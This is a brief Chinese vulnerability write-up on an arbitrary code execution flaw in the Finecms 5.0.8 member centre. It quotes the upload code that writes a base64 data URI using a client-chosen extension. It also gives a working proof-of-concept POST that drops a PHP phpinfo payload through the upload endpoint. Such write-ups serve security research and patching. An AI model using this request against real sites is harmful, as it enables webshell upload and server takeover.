Finecms_5.0.8_会员中心任意代码执行漏洞

# Finecms 5.0.8 会员中心任意代码执行漏洞

======================================

一、漏洞简介
————

二、漏洞影响
————

Finecms 5.0.8

三、复现过程
————

### 漏洞分析

在文件`./controllersmemberAccount.php`中的upload函数

if (preg_match(‘/^(data:\s*image\/(\w+);base64,)/’, $file, $result)){
$new_file = $dir.’0x0.’.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], ”, $file)))) {
exit(dr_json(0, ‘目录权限不足或磁盘已满’));

### 漏洞复现

注册会员，登录访问：

http://www.0-sec.org:88/index.php?s=member&c=account&m=upload

POST：tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

2.png

3.png

参考链接
——–

> http://4o4notfound.org/index.php/archives/40/